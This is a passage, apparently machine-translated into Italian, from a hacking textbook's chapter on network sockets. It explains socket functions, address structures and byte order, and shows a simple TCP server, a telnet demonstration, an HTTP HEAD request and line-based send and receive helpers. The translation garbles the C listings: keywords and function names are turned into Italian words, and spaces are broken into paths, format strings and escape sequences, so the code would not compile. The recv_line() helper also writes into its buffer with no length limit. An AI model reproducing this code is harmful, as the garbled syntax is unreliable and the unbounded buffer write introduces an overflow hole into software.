sistema operativo del computer in modo che possano comunicare. Programmi che utilizzano
networking, come browser web e client di posta elettronica, devono interfacciarsi con
il sistema operativo che gestisce le comunicazioni di rete. Dal momento che il
il sistema operativo si occupa dei dettagli di incapsulamento della rete, scrittura
programmi di rete è solo una questione di utilizzo dell'interfaccia di rete del sistema operativo.

0x420 prese
Un socket è un modo standard per eseguire la comunicazione di rete tramite
OS. Un socket può essere pensato come un endpoint di una connessione, come un socket
su un centralino operatore. Ma questi socket sono solo di un programmatore
astrazione che si prende cura di tutti i dettagli essenziali del modello OSI
descritto sopra. Per il programmatore, un socket può essere utilizzato per inviare o ricevere
dati su una rete. Questi dati vengono trasmessi al livello di sessione (5), sopra
gli strati inferiori (gestiti dal sistema operativo), che si prendono cura di
instradamento. Esistono diversi tipi di socket che determinano l'estensione
struttura dello strato di trasporto (4). I tipi più comuni sono stream
socket e socket datagramma.
I socket di flusso forniscono una comunicazione bidirezionale affidabile simile a quando
chiami qualcuno al telefono. Un lato avvia la connessione a
altro e dopo aver stabilito la connessione, entrambe le parti possono comunicare
all'altro. Inoltre, c'è la conferma immediata di ciò che hai detto
effettivamente raggiunto la sua destinazione. I socket stream utilizzano una comunicazione standard
protocollo chiamato Transmission Control Protocol (TCP), che esiste su
lo strato di trasporto (4) del modello OSI. Sulle reti di computer, i dati sono
di solito trasmessi in blocchi chiamati pacchetti. TCP è progettato in modo che il
i pacchetti di dati arriveranno senza errori e in sequenza, come parole
arrivando dall'altra parte nell'ordine in cui sono stati pronunciati quando sei
parlando al telefono. Server Web, server di posta e rispettivi
tutte le applicazioni client utilizzano TCP e stream socket per comunicare.
Un altro tipo comune di socket è un socket per datagrammi. Comunicare
con un socket datagramma è più come spedire una lettera che fare una telefonata.
La connessione è unidirezionale e inaffidabile. Se spedisci più lettere, tu
non posso essere sicuro che siano arrivati ​nello stesso ordine, o anche che siano arrivati
la loro destinazione. Il servizio postale è abbastanza affidabile; Internet, come
mai, non lo è. I socket datagram utilizzano un altro protocollo standard chiamato UDP
invece di TCP sul livello di trasporto (4). UDP è l'acronimo di User Datagram
Protocollo, il che implica che può essere utilizzato per creare protocolli personalizzati. Questo
protocollo è molto semplice e leggero, con poche protezioni incorporate. Suo
non una vera connessione, solo un metodo di base per inviare dati da un punto
ad un altro. Con i socket del datagramma, c'è un sovraccarico minimo nel protocollo,
ma il protocollo non fa molto. Se il tuo programma deve confermare che a
il pacchetto è stato ricevuto dall'altra parte, l'altra parte deve essere codificata per l'invio
indietro un pacchetto di riconoscimento. In alcuni casi la perdita di pacchetti è accettabile.

198 0x400
Pagina 213

I socket datagram e UDP sono comunemente usati nei giochi in rete e


streaming multimediale, poiché gli sviluppatori possono personalizzare esattamente le loro comunicazioni
secondo necessità senza l'overhead integrato di TCP.

0x421 Funzioni socket


In C, i socket si comportano in modo molto simile ai file poiché utilizzano descrittori di file per identificare
loro stessi. I socket si comportano così tanto come i file che puoi effettivamente usare il
funzioni read () e write () per ricevere e inviare dati usando la descrizione del file socket
tori. Tuttavia, esistono diverse funzioni progettate specificamente per la gestione
con prese. Queste funzioni hanno i loro prototipi definiti in / usr / include /
sys / sockets.h.

socket (dominio int, tipo int, protocollo int)


Utilizzato per creare un nuovo socket, restituisce un descrittore di file per il socket o
-1 in caso di errore.

connect (int fd, struct sockaddr * remote_host, socklen_t addr_length)


Collega un socket (descritto dal descrittore di file fd ) a un host remoto.
Restituisce 0 in caso di successo e -1 in caso di errore.

bind (int fd, struct sockaddr * local_addr, socklen_t addr_length)


Associa un socket a un indirizzo locale in modo che possa ascoltare le connessioni in entrata.
Restituisce 0 in caso di successo e -1 in caso di errore.

ascolta (int fd, int backlog_queue_size)


Ascolta le connessioni in entrata e accoda le richieste di connessione fino a
backlog_queue_size . Restituisce 0 in caso di successo e -1 in caso di errore.

accetta (int fd, sockaddr * remote_host, socklen_t * addr_length)


Accetta una connessione in ingresso su un socket associato. Le informazioni sull'indirizzo
mation dall'host remoto viene scritta nella struttura remote_host e
la dimensione effettiva della struttura dell'indirizzo viene scritta in * addr_length . Questo
restituisce un nuovo descrittore di file socket per identificare il file connesso
socket o -1 in caso di errore.

invio (int fd, void * buffer, size_t n , int flags)


Invia n byte dal * buffer al socket fd ; restituisce il numero di byte inviati
o -1 in caso di errore.

recv (int fd, void * buffer, size_t n , int flag)


Riceve n byte dal socket fd nel * buffer ; restituisce il numero di byte
ricevuto o -1 in caso di errore.

Quando viene creato un socket con la funzione socket () , il dominio, il tipo,


e il protocollo del socket devono essere specificati. Il dominio si riferisce al pro
famiglia tocol della presa. Un socket può essere utilizzato per comunicare utilizzando un file
una varietà di protocolli, dal protocollo Internet standard utilizzato quando si
navigare sul Web con protocolli per radioamatori come AX.25 (quando lo sei
essere un gigantesco nerd). Queste famiglie di protocolli sono definite in bits / socket.h,
che è automaticamente incluso da sys / socket.h.

Networking 199

Pagina 214

Da /usr/include/bits/socket.h

/ * Famiglie di protocollo. * /
#define PF_UNSPEC 0 / * Non specificato. * /
#define PF_LOCAL 1 / * Locale all'host (pipe e dominio file). * /
#define PF_UNIX PF_LOCAL / * Vecchio nome BSD per PF_LOCAL. * /
#define PF_FILE PF_LOCAL / * Un altro nome non standard per PF_LOCAL. * /
#define PF_INET 2 / * Famiglia di protocolli IP. * /
#define PF_AX25 3 / * Radioamatore AX.25. * /
#define PF_IPX 4 / * Novell Internet Protocol. * /
#define PF_APPLETALK 5 / * Appletalk DDP. * /
#define PF_NETROM 6 / * NetROM per radioamatori. * /
#define PF_BRIDGE 7 / * Bridge multiprotocollo. * /
#define PF_ATMPVC 8 ​/ * PVC ATM. * /
#define PF_X25 9 / * Riservato per il progetto X.25. * /
#define PF_INET6 10 / * IP versione 6. * /
...

Come accennato prima, esistono diversi tipi di socket, sebbene stream


socket e datagram socket sono i più comunemente usati. I tipi di prese
sono definiti anche in bits / socket.h. (I / * commenti * / nel codice sopra sono
solo un altro stile che commenta tutto ciò che è tra gli asterischi.)

Da /usr/include/bits/socket.h

/ * Tipi di prese. * /
enum __socket_type
{
SOCK_STREAM = 1, / * Flussi di byte sequenziali, affidabili e basati sulla connessione. * /
#define SOCK_STREAM SOCK_STREAM
SOCK_DGRAM = 2, / * Datagrammi senza connessione e inaffidabili di lunghezza massima fissa. */
#define SOCK_DGRAM SOCK_DGRAM

...

L'ultimo argomento per la funzione socket () è il protocollo, che dovrebbe


essere quasi sempre 0 . La specifica consente più protocolli all'interno di un file
protocol family, quindi questo argomento viene utilizzato per selezionare uno dei protocolli da
la famiglia. In pratica, tuttavia, la maggior parte delle famiglie protocollari ha solo un protocollo
tocol, il che significa che di solito dovrebbe essere impostato su 0 ; il primo e unico protocollo
nell'enumerazione della famiglia. Questo è il caso di tutto ciò che faremo
con socket in questo libro, quindi questo argomento sarà sempre 0 nei nostri esempi.

0x422 Indirizzi socket


Molte delle funzioni socket fanno riferimento a una struttura sockaddr per passare l'indirizzo
informazioni che definiscono un host. Questa struttura è anche definita in bits / socket.h,
come mostrato nella pagina seguente.

200 0x400

Pagina 215

Da /usr/include/bits/socket.h

/ * Ottieni la definizione della macro per definire i membri comuni di sockaddr. */


#include <bits / sockaddr.h>

/ * Struttura che descrive un indirizzo socket generico. * /


struct sockaddr
{
__SOCKADDR_COMMON (sa_); / * Dati comuni: famiglia di indirizzi e lunghezza. * /
char sa_data [14]; / * Dati indirizzo. * /
};

La macro per SOCKADDR_COMMON è definita nei bit inclusi / sockaddr.h


file, che fondamentalmente si traduce in un int breve senza segno. Questo valore definisce
la famiglia di indirizzi dell'indirizzo e il resto della struttura viene salvato per
dati di indirizzo. Poiché i socket possono comunicare utilizzando una varietà di protocolli
famiglie, ciascuna con il proprio modo di definire gli indirizzi degli endpoint, la definizione
Anche la funzione di un indirizzo deve essere variabile, a seconda della famiglia di indirizzi.
Le possibili famiglie di indirizzi sono definite anche in bits / socket.h; Loro solitamente
tradurre direttamente nelle famiglie di protocollo corrispondenti.

Da /usr/include/bits/socket.h

/ * Indirizza le famiglie. * /
#define AF_UNSPEC PF_UNSPEC
#define AF_LOCAL PF_LOCAL
#define AF_UNIX PF_UNIX
#define AF_FILE PF_FILE
#define AF_INET PF_INET
#define AF_AX25 PF_AX25
#define AF_IPX PF_IPX
#define AF_APPLETALK PF_APPLETALK
#define AF_NETROM PF_NETROM
#define AF_BRIDGE PF_BRIDGE
#define AF_ATMPVC PF_ATMPVC
#define AF_X25 PF_X25
#define AF_INET6 PF_INET6
...

Poiché un indirizzo può contenere diversi tipi di informazioni, a seconda


sulla famiglia di indirizzi, ci sono molte altre strutture di indirizzi che contengono,
nella sezione dei dati dell'indirizzo, elementi comuni dalla struttura sockaddr come
nonché informazioni specifiche per la famiglia di indirizzi. Anche queste strutture lo sono
della stessa dimensione, in modo che possano essere tipizzati l'uno con l'altro. Questo significa
che una funzione socket () accetterà semplicemente un puntatore a una struttura sockaddr ,
che può infatti puntare a una struttura di indirizzi per IPv4, IPv6 o X.25. Questo
consente alle funzioni socket di operare su una varietà di protocolli.
In questo libro ci occuperemo della versione 4 del protocollo Internet, che
è la famiglia di protocolli PF_INET , utilizzando la famiglia di indirizzi AF_INET . Il parallelo
la struttura dell'indirizzo socket per AF_INET è definita nel file netinet / in.h.

Networking 201

Pagina 216

Da /usr/include/netinet/in.h

/ * Struttura che descrive un indirizzo socket Internet. * /


struct sockaddr_in
{
__SOCKADDR_COMMON (sin_);
in_port_t sin_port; /* Numero di porta. * /
struct in_addr sin_addr; / * Indirizzo Internet. * /

/ * Riempi le dimensioni di "struct sockaddr". * /


char non firmato sin_zero [sizeof (struct sockaddr) -
__SOCKADDR_COMMON_SIZE -
sizeof (in_port_t) -
sizeof (struct in_addr)];
};

La parte SOCKADDR_COMMON nella parte superiore della struttura è semplicemente quella senza segno
short int menzionato sopra, che viene utilizzato per definire la famiglia di indirizzi. Da
un indirizzo di endpoint socket è costituito da un indirizzo Internet e un numero di porta,
questi sono i prossimi due valori nella struttura. Il numero di porta è a 16 bit
breve, mentre la struttura in_addr usata per l'indirizzo Internet contiene un file
Numero a 32 bit. Il resto della struttura è solo 8 byte di riempimento da riempire
il resto della struttura sockaddr . Questo spazio non viene utilizzato per niente, ma deve
essere salvati in modo che le strutture possano essere modificate in modo intercambiabile. Alla fine, il
le strutture degli indirizzi socket finiscono per assomigliare a questo:

struttura sockaddr (struttura generica)

Famiglia sa_data (14 byte)


struttura sockaddr_in (usata per IP versione 4)

Famiglia Porta n. indirizzo IP Imbottitura extra (8 byte)

Entrambe le strutture hanno le stesse dimensioni.

0x423 Ordine byte di rete


Il numero di porta e l'indirizzo IP utilizzati nella struttura dell'indirizzo socket AF_INET
dovrebbero seguire l'ordinamento dei byte di rete, che è big-endian. Questo è
l'opposto dell'ordinamento dei byte little endian di x 86, quindi questi valori devono essere
verted. Esistono diverse funzioni specifiche per queste conversioni, di cui
i prototipi sono definiti nei file include netinet / in.he arpa / inet.h. Qui
è un riepilogo di queste comuni funzioni di conversione dell'ordine dei byte:

Host-to-Network Long
htonl ( valore lungo )
Converte un numero intero a 32 bit dall'ordine dei byte dell'host all'ordine dei byte di rete

202 0x400

Pagina 217

htons ( valore breve ) Host-to-Network Short


Converte un numero intero a 16 bit dall'ordine dei byte dell'host all'ordine dei byte di rete

Network-to-Host Long
ntohl ( valore lungo )
Converte un numero intero a 32 bit dall'ordine dei byte di rete all'ordine dei byte dell'host

Breve rete-host
ntohs ( valore lungo )
Converte un numero intero a 16 bit dall'ordine dei byte di rete all'ordine dei byte dell'host

Per compatibilità con tutte le architetture, queste funzioni di conversione dovrebbero


essere ancora utilizzato anche se l'host utilizza un processore con ordinamento dei byte big-endian.

0x424 Conversione dell'indirizzo Internet


Quando vedi 12.110.110.204, probabilmente lo riconosci come Internet
indirizzo (IP versione 4). Questa nota notazione con numeri puntati è comune
modo per specificare gli indirizzi Internet e ci sono funzioni per convertirlo
notazione da e verso un intero a 32 bit in ordine di byte di rete. Queste funzioni
sono definiti nel file include arpa / inet.h, e i due più utili
le funzioni della versione sono:

inet_aton (char * ascii_addr, struct in_addr * network_addr)

ASCII in rete
Questa funzione converte una stringa ASCII contenente un indirizzo IP in punti
formato numerico in una struttura in_addr , che, come ricordi, solo
contiene un numero intero a 32 bit che rappresenta l'indirizzo IP nel byte di rete
ordine.

inet_ntoa (struct in_addr * network_addr)

Rete in ASCII
Questa funzione converte nell'altro modo. Viene passato un puntatore a un in_addr
struttura contenente un indirizzo IP e la funzione restituisce un carattere
puntatore a una stringa ASCII contenente l'indirizzo IP in numero puntato
formato. Questa stringa è contenuta in un buffer di memoria allocato staticamente in
funzione, quindi è possibile accedervi fino alla prossima chiamata a inet_ntoa () , quando il file
la stringa verrà sovrascritta.

0x425 Un semplice esempio di server


Il modo migliore per mostrare come vengono utilizzate queste funzioni è con un esempio. Il seguente
il codice del server ascolta le connessioni TCP sulla porta 7890. Quando un client si connette,
invia il messaggio Hello, world! e quindi riceve i dati fino alla connessione
è chiuso. Questo viene fatto utilizzando le funzioni e le strutture socket di include
file menzionati in precedenza, quindi questi file sono inclusi all'inizio del
programma. Un'utile funzione di dump della memoria è stata aggiunta a hacking.h,
che viene mostrato nella pagina seguente.

Networking 203

Pagina 218

Aggiunto a hacking.h

// Esegue il dump della memoria non elaborata in byte esadecimale e formato suddiviso stampabile
void dump (const unsigned char * data_buffer, const unsigned int length) {
byte di caratteri senza segno;
unsigned int i, j;
for (i = 0; i <length; i ++) {
byte = data_buffer [i];
printf ("% 02x", data_buffer [i]); // Visualizza byte in esadecimale.
if (((i% 16) == 15) || (i == length-1)) {
per (j = 0; j <15- (i% 16); j ++)
printf ("");
printf ("|");
for (j = (i- (i% 16)); j <= i; j ++) {// Visualizza i byte stampabili dalla riga.
byte = data_buffer [j];
if ((byte> 31) && (byte <127)) // Fuori dall'intervallo di caratteri stampabili
printf ("% c", byte);
altro
printf (".");
}
printf ("\ n"); // Fine della riga di dump (ogni riga è di 16 byte)
} // Finisci se
} // Fine per
}

Questa funzione viene utilizzata per visualizzare i dati del pacchetto dal programma server.
Tuttavia, poiché è utile anche in altri luoghi, è stato inserito in hacking.h,
anziché. Il resto del programma server verrà spiegato durante la lettura del file
codice sorgente.

simple_server.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys / socket.h>
#include <netinet / in.h>
#include <arpa / inet.h>
#include "hacking.h"

#define PORT 7890 // La porta a cui si connetteranno gli utenti

int main (void) {


int sockfd, new_sockfd; // Ascolta su sock_fd, nuova connessione su new_fd
struct sockaddr_in host_addr, client_addr; // Informazioni sul mio indirizzo
socklen_t sin_size;
int recv_length = 1, sì = 1;
buffer di caratteri [1024];

if ((sockfd = socket (PF_INET, SOCK_STREAM, 0)) == -1)

204 0x400

Pagina 219

fatale ("in socket");

if (setsockopt (sockfd, SOL_SOCKET, SO_REUSEADDR, & yes, sizeof (int)) == -1)


fatal ("impostazione dell'opzione socket SO_REUSEADDR");

Finora, il programma imposta un socket utilizzando la funzione socket () . Vogliamo


un socket TCP / IP, quindi la famiglia di protocolli è PF_INET per IPv4 e il tipo di socket
è SOCK_STREAM per un socket di flusso. L'argomento del protocollo finale è 0 , poiché lì
è solo un protocollo nella famiglia di protocolli PF_INET . Questa funzione restituisce un file
descrittore di file socket che è memorizzato in sockfd .
La funzione setsockopt () è semplicemente usata per impostare le opzioni del socket. Questa funzione
La chiamata di zione imposta l' opzione del socket SO_REUSEADDR su true , che ne consentirà il riutilizzo
un determinato indirizzo per l'associazione. Senza questa opzione impostata, quando il programma prova
per collegarsi a una data porta, fallirà se quella porta è già in uso. Se un socket non lo è
chiuso correttamente, potrebbe sembrare che sia in uso, quindi questa opzione consente a un socket di collegarsi a
una porta (e prenderne il controllo), anche se sembra essere in uso.
Il primo argomento di questa funzione è il socket (a cui fa riferimento un file
descrittore), il secondo specifica il livello dell'opzione e il terzo specifica
l'opzione stessa. Poiché SO_REUSEADDR è un'opzione a livello di socket, il livello è impostato su
SOL_SOCKET . Ci sono molte diverse opzioni di socket definite in / usr / include /
asm / socket.h. Gli ultimi due argomenti sono un puntatore ai dati che il file
l'opzione dovrebbe essere impostata su e la lunghezza di tali dati. Un puntatore ai dati e al file
lunghezza di quei dati sono due argomenti che vengono spesso usati con la funzione socket
zioni. Ciò consente alle funzioni di gestire tutti i tipi di dati, da singoli byte
a grandi strutture di dati. Le opzioni SO_REUSEADDR utilizzano un numero intero a 32 bit per i suoi
value, quindi per impostare questa opzione su true , gli ultimi due argomenti devono essere un puntatore
al valore intero di 1 e alla dimensione di un numero intero (che è 4 byte).

host_addr.sin_family = AF_INET; // Ordine byte host


host_addr.sin_port = htons (PORT); // Ordine byte di rete breve
host_addr.sin_addr.s_addr = 0; // Compila automaticamente il mio IP.
memset (& (host_addr.sin_zero), '\ 0', 8); // Azzera il resto della struttura.

if (bind (sockfd, (struct sockaddr *) & host_addr, sizeof (struct sockaddr)) == -1)
fatal ("binding to socket");

if (ascolta (sockfd, 5) == -1)


fatal ("ascolto sul socket");

Le prossime righe impostano la struttura host_addr da utilizzare nella chiamata bind.


La famiglia di indirizzi è AF_INET , poiché stiamo utilizzando IPv4 e sockaddr_in
struttura. La porta è impostata su PORT , definita come 7890 . Questo breve numero intero
valore deve essere convertito nell'ordine dei byte di rete, quindi la funzione htons () è
Usato. L'indirizzo è impostato su 0 , il che significa che verrà automaticamente riempito
l'attuale indirizzo IP dell'host. Poiché il valore 0 è lo stesso indipendentemente dal byte
ordine, non è necessaria alcuna conversione.
La chiamata bind () passa il descrittore di file socket, la struttura dell'indirizzo,
e la lunghezza della struttura dell'indirizzo. Questa chiamata collegherà il socket al file
indirizzo IP corrente sulla porta 7890.

Networking 205

Pagina 220
La chiamata listen () dice al socket di ascoltare le connessioni in entrata e
una successiva chiamata accept () accetta effettivamente una connessione in entrata. Il
pone tutte le connessioni in entrata in una coda di backlog fino a quando un
La funzione listen ()
call accetta le connessioni. L'ultimo argomento della chiamata listen ()
accept ()
imposta la dimensione massima per la coda di backlog.

while (1) {// Accetta il ciclo.


sin_size = sizeof (struct sockaddr_in);
new_sockfd = accept (sockfd, (struct sockaddr *) & client_addr, & sin_size);
if (new_sockfd == -1)
fatale ("accettazione della connessione");
printf ("server: connessione ottenuta dalla porta% s% d \ n",
inet_ntoa (client_addr.sin_addr), ntohs (client_addr.sin_port));
send (new_sockfd, "Hello, world! \ n", 13, 0);
recv_length = recv (new_sockfd, & buffer, 1024, 0);
while (recv_length> 0) {
printf ("RECV:% d byte \ n", recv_length);
dump (buffer, recv_length);
recv_length = recv (new_sockfd, & buffer, 1024, 0);
}
chiudi (new_sockfd);
}
return 0;
}

Il prossimo è un ciclo che accetta le connessioni in entrata. I accept () della funzione


i primi due argomenti dovrebbero avere senso immediatamente; l'argomento finale è a
puntatore alla dimensione della struttura dell'indirizzo. Questo perché l' accettare () funziona-
zione scriverà le informazioni sull'indirizzo del client di connessione nell'indirizzo
struttura e la dimensione di quella struttura in sin_size . Per i nostri scopi, il
la dimensione non cambia mai, ma per usare la funzione dobbiamo obbedire alla convenzione di chiamata
zione. La funzione accept () restituisce un nuovo descrittore di file socket per il file
connessione. In questo modo, il descrittore di file socket originale può continuare a
essere utilizzato per accettare nuove connessioni, mentre il nuovo descrittore di file socket
viene utilizzato per comunicare con il client connesso.
Dopo aver ottenuto una connessione, il programma stampa un messaggio di connessione,
utilizzando inet_ntoa () per convertire la struttura dell'indirizzo sin_addr in un numero puntato
Stringa IP e ntohs () per convertire l'ordine dei byte del numero sin_port .
La funzione send () invia i 13 byte della stringa Hello, world! \ N al file
nuovo socket che descrive la nuova connessione. L'ultimo argomento per il
Le funzioni send () e recv () sono flag, che per i nostri scopi saranno sempre 0 .
Il prossimo è un ciclo che riceve i dati dalla connessione e li stampa.
Alla funzione recv () viene assegnato un puntatore a un buffer e una lunghezza massima a
leggere dalla presa. La funzione scrive i dati nel buffer ad essa passati
e restituisce il numero di byte effettivamente scritti. Il ciclo continuerà come
finché la chiamata recv () continua a ricevere dati.

206 0x400

Pagina 221

Quando viene compilato ed eseguito, il programma si collega alla porta 7890 dell'host e
attende le connessioni in entrata:

reader @ hacking: ~ / booksrc $ gcc simple_server.c


lettore @ hacking: ~ / booksrc $ ./a.out

Un client telnet funziona fondamentalmente come un client di connessione TCP generico, quindi è così
può essere utilizzato per connettersi al server semplice specificando l'indirizzo IP di destinazione
e porto.

Da una macchina remota

matrice @ euclid: ~ $ telnet 192.168.42.248 7890


Provando 192.168.42.248 ...
Collegato a 192.168.42.248.
Il carattere di escape è "^]".
Ciao mondo!
questo è un test
fjsghau; ehg; ihskjfhasdkfjhaskjvhfdkjhvbkjgf

Al momento della connessione, il server invia la stringa Hello, world! , e il resto


è l'eco del carattere locale di me che digito questo è un test e una linea di tastiera
schiacciamento. Poiché telnet è dotato di buffer di riga, ciascuna di queste due righe viene rimandata al file
server quando si preme INVIO . Di nuovo sul lato server, l'output mostra il file
connessione e i pacchetti di dati che vengono inviati indietro.

Su una macchina locale

lettore @ hacking: ~ / booksrc $ ./a.out


server: ottenuto la connessione dalla porta 192.168.42.1 56971
RECV: 16 byte
74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | Questo è un test...
RECV: 45 byte
66 6a 73 67 68 61 75 3b 65 68 67 3b 69 68 73 6b | fjsghau; ehg; ihsk
6a 66 68 61 73 64 6b 66 6a 68 61 73 6b 6a 76 68 | jfhasdkfjhaskjvh
66 64 6b 6a 68 76 62 6b 6a 67 66 0d 0a | fdkjhvbkjgf ...

0x426 Un esempio di client Web


Il programma telnet funziona bene come client per il nostro server, quindi non c'è davvero
molte ragioni per scrivere un cliente specializzato. Tuttavia, ci sono migliaia di file
diversi tipi di server che accettano connessioni TCP / IP standard. Ogni
ogni volta che usi un browser web, si connette a un server web da qualche parte.
Questa connessione trasmette la pagina web tramite la connessione utilizzando HTTP,
che definisce un certo modo per richiedere e inviare informazioni. Per impostazione predefinita,
i server web funzionano sulla porta 80, che è elencata insieme a molte altre impostazioni predefinite
porte in / etc / services.
Networking 207

Pagina 222

Da / etc / services

dito 79 / tcp # Dito


dito 79 / udp
http 80 / tcp www www-http # World Wide Web HTTP

HTTP esiste nel livello dell'applicazione, il livello superiore, del modello OSI.
A questo livello, tutti i dettagli di rete sono già stati curati da
i livelli inferiori, quindi HTTP utilizza il testo in chiaro per la sua struttura. Molti altri
i protocolli a livello di applicazione utilizzano anche testo normale, come POP3, SMTP, IMAP,
e il canale di controllo di FTP. Poiché si tratta di protocolli standard, lo sono tutti
ben documentato e facilmente ricercabile. Una volta che conosci la sintassi di questi
vari protocolli, puoi parlare manualmente con altri programmi che parlano il file
stessa lingua. Non è necessario essere fluenti, ma conoscerne alcuni è importante
le frasi ti aiuteranno quando viaggi su server stranieri. Nella lingua di
HTTP, le richieste vengono effettuate utilizzando il comando GET , seguito dalla risorsa
percorso e la versione del protocollo HTTP. Ad esempio, GET / HTTP / 1.0 richiederà
il documento radice dal server web utilizzando HTTP versione 1.0. La richiesta
è in realtà per la directory principale di /, ma la maggior parte dei server web lo farà automaticamente
cerca un documento HTML predefinito nella directory index.html. Se la
il server trova la risorsa, risponderà utilizzando HTTP inviandone diversi
intestazioni prima di inviare il contenuto. Se viene utilizzato il comando HEAD al posto di
GET , restituirà solo le intestazioni HTTP senza il contenuto. Queste intestazioni
sono di testo in chiaro e di solito possono fornire informazioni sul server. Questi
le intestazioni possono essere recuperate manualmente utilizzando telnet collegandosi alla porta 80 di un file
sito web noto, quindi digitare HEAD / HTTP / 1.0 e premere INVIO due volte. Nel
output di seguito, telnet viene utilizzato per aprire una connessione TCP-IP al server Web all'indirizzo
http://www.internic.net. Quindi il livello dell'applicazione HTTP è manualmente
parlato per richiedere le intestazioni per la pagina dell'indice principale.

reader @ hacking: ~ / booksrc $ telnet www.internic.net 80


Prova 208.77.188.101 ...
Collegato a www.internic.net.
Il carattere di escape è "^]".
HEAD / HTTP / 1.0

HTTP / 1.1 200 OK


Data: venerdì, 14 settembre 2007 05:34:14 GMT
Server: Apache / 2.0.52 (CentOS)
Accetta intervalli: byte
Lunghezza contenuto: 6743
Connessione: chiudere
Tipo di contenuto: testo / html; set di caratteri = UTF-8

Connessione chiusa da host straniero.


lettore @ hacking: ~ / booksrc $

208 0x400

Pagina 223

Questo rivela che il server web è la versione Apache 2.0.52 e anche quella
l'host esegue CentOS. Questo può essere utile per la profilazione, quindi scriviamo un
grammo che automatizza questo processo manuale.
I prossimi programmi invieranno e riceveranno molti dati. Da
le funzioni socket standard non sono molto amichevoli, scriviamo alcune funzioni
inviare e ricevere dati. Queste funzioni, chiamate send_string () e recv_line () ,
verrà aggiunto a un nuovo file include chiamato hacking-network.h.
La normale funzione send () restituisce il numero di byte scritti, che
non è sempre uguale al numero di byte che hai provato a inviare. Il send_string ()
funzione accetta un socket e un puntatore a stringa come argomenti e si assicura
l'intera stringa viene inviata tramite il socket. Usa strlen () per capire il file
lunghezza totale della stringa passata.
Avrai notato che ogni pacchetto ricevuto dal server semplice terminava
con i byte 0x0D e 0x0A . Questo è il modo in cui telnet termina le linee: invia
un ritorno a capo e un carattere di nuova riga. Si aspetta anche il protocollo HTTP
righe da terminare con questi due byte. Una rapida occhiata a una tabella ASCII
mostra che 0x0D è un ritorno a capo ( '\ r' ) e 0x0A è il carattere di nuova riga
( '\ n' ).

lettore @ hacking: ~ / booksrc $ man ascii | egrep "Hex | 0A | 0D"


Riformattazione ascii (7), attendere prego ...
Ott dic. Esadecimale Ott dic. Esadecimale
012 10 0A LF '\ n' (nuova riga) 112 74 4A J
015 13 0D CR '\ r' (carrello ret) 115 77 4D M
lettore @ hacking: ~ / booksrc $

La funzione recv_line () legge intere righe di dati. Legge dalla presa


passato come primo argomento nel buffer a cui punta il secondo argomento
per. Continua a ricevere dal socket finché non incontra le ultime due linee-
byte di terminazione in sequenza. Quindi termina la stringa ed esce dal file
funzione. Queste nuove funzioni assicurano che tutti i byte vengano inviati e ricevano dati
come righe terminate da "\ r \ n" . Sono elencati di seguito in un nuovo file include chiamato
hacking-network.h.

hacking-network.h

/ * Questa funzione accetta un socket FD e un ptr con terminazione null


* stringa da inviare. La funzione assicurerà che tutti i byte del file
* la stringa viene inviata. Restituisce 1 in caso di successo e 0 in caso di fallimento.
*/
int send_string (int sockfd, unsigned char * buffer) {
int sent_bytes, bytes_to_send;
bytes_to_send = strlen (buffer);
while (bytes_to_send> 0) {
sent_bytes = invio (sockfd, buffer, bytes_to_send, 0);
if (sent_bytes == -1)
return 0; // Restituisce 0 in caso di errore di invio.

Networking 209

Pagina 224

bytes_to_send - = sent_bytes;
buffer + = sent_bytes;
}
ritorno 1; // Restituisce 1 in caso di successo.
}

/ * Questa funzione accetta un socket FD e un ptr a una destinazione


* buffer. Riceverà dal socket fino al byte EOL
* sequenza in vista. I byte EOL vengono letti dal socket, ma
* il buffer di destinazione viene terminato prima di questi byte.
* Restituisce la dimensione della riga di lettura (senza byte EOL).
*/
int recv_line (int sockfd, unsigned char * dest_buffer) {
#define EOL "\ r \ n" // Sequenza di byte di fine riga
#define EOL_SIZE 2
char senza segno * ptr;
int eol_matched = 0;

ptr = dest_buffer;
while (recv (sockfd, ptr, 1, 0) == 1) {// Legge un singolo byte.
if (* ptr == EOL [eol_matched]) {// Questo byte corrisponde al terminatore?
eol_matched ++;
if (eol_matched == EOL_SIZE) {// Se tutti i byte corrispondono al terminatore,
* (ptr + 1-EOL_SIZE) = '\ 0'; // termina la stringa.
return strlen (dest_buffer); // Byte di ritorno ricevuti
}
} altro {
eol_matched = 0;
}
ptr ++; // Incrementa il puntatore al prossimo byter.
}
return 0; // Non sono stati trovati i caratteri di fine riga.
}

Effettuare una connessione socket a un indirizzo IP numerico è piuttosto semplice


ma gli indirizzi con nome sono comunemente usati per comodità. Nel manuale HTTP
Richiesta HEAD , il programma telnet esegue automaticamente un DNS (Domain Name
Servizio) per determinare che www.internic.net traduce nell'indirizzo IP
192.0.34.161. DNS è un protocollo che consente a un indirizzo IP di essere cercato da un
indirizzo denominato, simile a come è possibile cercare un numero di telefono in un telefono
prenota se conosci il nome. Naturalmente, ci sono funzioni relative ai socket e
strutture specifiche per ricerche di nomi host tramite DNS. Queste funzioni e strutture
le ture sono definite in netdb.h. Una funzione chiamata gethostbyname () accetta un puntatore
a una stringa contenente un indirizzo denominato e restituisce un puntatore a un host
struttura o puntatore NULL in caso di errore. La struttura ospitante è piena di informazioni
mazione dalla ricerca, incluso l'indirizzo IP numerico come numero intero a 32 bit
in ordine di byte di rete. Simile alla funzione inet_ntoa () , la memoria per
questa struttura è staticamente allocata nella funzione. Questa struttura è mostrata
di seguito, come elencato in netdb.h.

210 0x400

Pagina 225

Da /usr/include/netdb.h

/ * Descrizione della voce di database per un singolo host. * /


struct hostent
{
char * h_name; / * Nome ufficiale dell'ospite. * /
char ** h_aliases; / * Elenco alias. * /
int h_addrtype; / * Tipo di indirizzo host. * /
int h_length; / * Lunghezza dell'indirizzo. * /
char ** h_addr_list; / * Elenco di indirizzi dal server dei nomi. * /
#define h_addr h_addr_list [0] / * Indirizzo, per compatibilità con le versioni precedenti. * /
};

Il codice seguente mostra l'utilizzo della funzione gethostbyname () .


host_lookup.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys / socket.h>
#include <netinet / in.h>
#include <arpa / inet.h>

#include <netdb.h>

#include "hacking.h"

int main (int argc, char * argv []) {


struct hostent * host_info;
struct in_addr * indirizzo;

if (argc <2) {
printf ("Utilizzo:% s <hostname> \ n", argv [0]);
uscita (1);
}

host_info = gethostbyname (argv [1]);


if (host_info == NULL) {
printf ("Impossibile cercare% s \ n", argv [1]);
} altro {
indirizzo = (struct in_addr *) (host_info-> h_addr);
